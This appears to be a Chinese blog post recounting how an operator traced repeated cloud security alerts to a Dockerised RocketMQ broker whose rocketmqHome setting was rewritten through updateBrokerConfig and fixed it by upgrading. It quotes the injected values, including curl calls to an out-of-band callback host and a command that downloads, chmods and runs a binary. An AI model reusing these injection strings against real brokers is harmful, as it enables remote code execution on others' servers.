记一次与Rocketmq的进程异常行为修复过程

rocketmq部署在docker中。

前段时间，阿里云服务器发出安全告警

看到curl和startfsrv.sh，下意识地认为这是下载了一个恶意脚本，接下来把恶意脚本找到，分析内容，修复的思路就有了。

但是找到脚本之后，创建时间是2019年，同时也只是rocketmq一个正常的启动脚本。这样思路就断了。
接下来只能查看docker和宿主机的进程，系统硬件资源使用情况以及计划任务是否异常，结果都显示很正常。

接下来想到既然应用异常，那就查看应用日志是否记录了。首先tail日志可以看到callshell和curl一直在日志出现（原谅没有怎么截图），进程看不到，但是说明一直在维持运行
这时候得溯源，看看能不能找到维持执行的原因。得从发出安全告警的前后时间开始看起

仔细分析日志可以知道
一个AdminBroker的线程执行了updateBrokerConfig操作，一个更新配置的操作，接下来继续看，可以看到这个线程修改了rocketmqHome的值，从原来的/opt/····改成-c $@sh . echo curlct3bvqv1nnmrl15917b0b8fhzk37zsmjh.oast.online////////////}]client: /，这可能就是维持执行的原因，此时就把rocketmqHome的值改为正常值。

同时为了安全起见，通过IP查询，查询出ct3bvgvi nnmrl1 5917b0b8fhzk37zsmih.oast.online的IP，再在firewalld禁掉改IP的流量，同时只允许公司网段访问服务器的特定端口，万万没想到，通过查看broker.log日志，发现curl命令还在执行（太冥顽不灵了！）

最后经大佬提醒，关闭docker，然后重启docker后，日志终于没显示curl的执行记录了(估计重启docker操作也是让docker应用上防火墙配置，但这也有新的问题，这里有机会再讲)，但是显示broker注册不了（这就是后话了，暂且不提），说明系统安全了，于是放下了好几天戒心。

然后在前几天，当我又开始新的一天工作的时候，阿里云服务器又发出新的安全告警

还是熟悉的配方，熟悉的curl命令，这次还是高度可疑，堪比在街上隔几天就跟踪的流氓了，而且限制了端口访问也不行，这次想着得彻底解决了。

看到告警中的-output kamru，可知输出到了kamru，本想找出这个文件，但通过find命令找不到。
这时先按照先前思路，果不其然，rocketmqHome的值又被修改了（原谅我又没截图），修改成 -c $@|sh . echo curl -output kamru http:/·········/x86:chmod 777 *;./kamru rocket:/bin/startfsrv.sh -c ../conf/brokerconf -n namesrv，先修改成正常

然后查看进程，原本进程是用ps -ef查看，后面发现这样不行（后面解释），得用ps -aux查看
不看不知道，一看吓一跳，sh和curl命令执行完消失执行完消失（这是ps -ef看不到的）
查看日志也有记录

（接下来没有神展开，没有精彩的敲键盘操作了）
虽然限制端口也不行，但是两次相同的修改rocketmqHome的操作绝不是巧合，通过查询与rocketmq相关的漏洞，发现有一个漏洞行为与安全告警报告的行为高度吻合


这时候通过更新rocketmq版本（这个过程相当坎坷，后续有时间再更）后，直到现在都没有类似的安全告警了，说明正是该漏洞造成的

到此，本“案件”正式结案！
但是还留下一个疑点：这两次的异常行为到底对服务器还做了什么，暂时不知，得通过日常检查和修改防火墙策略来确保安全了

收获：虽然ps -ef和ps -aux两者结果都是静态显示，但是ps -aux还能查看到进程的运行状态，通过多次执行ps -aux可以发现执行了又消失的恶意进程。
同时这次很多思路都来源于日志，所以学会分析日志是一项很重要的技能！

收工！